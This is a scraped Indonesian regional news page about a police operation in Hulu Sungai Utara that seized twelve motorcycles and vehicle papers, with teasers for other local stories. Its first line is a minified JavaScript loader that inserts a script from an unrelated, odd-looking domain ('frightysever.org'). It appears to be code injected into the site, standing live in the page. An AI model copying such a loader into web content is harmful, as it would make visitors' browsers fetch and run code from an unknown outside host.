(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Polres HSU Sita Belasan Sepeda Motor dari Operasi Jaran Intan


KANALKALIMANTAN.COM, AMUNTAI – Sejumlah barang terlarang dan belasan kendaraan bermotor roda dua diamankan anggota Polres Hulu Sungai Utara (HSU) saat menggelar Operasi Jaran Intan 2024, Rabu (27/3/2024) malam sekira pukul 23.30 Wita.

Operasi digelar di kawasan terminal Banua Lima dipimpin langsung Kapolres HSU AKBP Meilki Bharata didampingi oleh Waka Polres HSU Kompol Riswiadi, Kabag Ops Polres HSU Kompol Nurhidayat beserta anggota.

Kapolres HSU AKBP Meilki Bharata menyebutkan tujuan dari Operasi Jaran Intan ini adalah untuk mencegah penyebaran dan perkembangan segala bentuk tindak kejahatan Curanmor di wilayah hukum Kabupaten HSU.

Baca juga: Kandang Babi di Guntung Manggis Diratakan, Sekda Banjarbaru: Sudah Final, Tak Ada Relokasi!

“Kegiatan ini juga bertujuan untuk membangun sikap tegas, kesadaran, dan kewaspadaan masyarakat dalam menghadapi situasi Kamtibmas di wilayah HSU, serta menegakkan hukum terhadap para pelaku kejahatan Curanmor,” jelas Kapolres.

Dia menuturkan hasil dari operasi ini juga mencakup penegakan hukum terhadap pelanggaran lalu lintas, yang termasuk dalam surat menyurat dan kendaraan bermotor yang disita sebagai bukti pelanggaran.

Selain itu, sajam tanpa izin yang ditemukan akan dilakukan penyidikan lebih lanjut terhadap pihak yang bersangkutan.

Baca juga: Gempa Tektonik 3,3 SR Terjadi di Tanah Bumbu Kalsel

“Dari Operasi Jaran Intan ini diharapkan tercipta keamanan dan ketertiban masyarakat di wilayah HSU,” imbuhnya.

Polres HSU terus berkomitmen untuk melindungi masyarakat dari segala bentuk kejahatan Curanmor dan menjaga stabilitas daerah.

Operasi Jaran Intan 2024 kali ini sejumlah barang terlarang dan kendaraan berhasil disita oleh petugas diantaranya 12 unit sepeda motor , 14 surat menyurat yang terdiri dari STNK dan SIM sebagai bukti oleh petugas.(Kanalkalimantan.com/dew) 

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

7 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.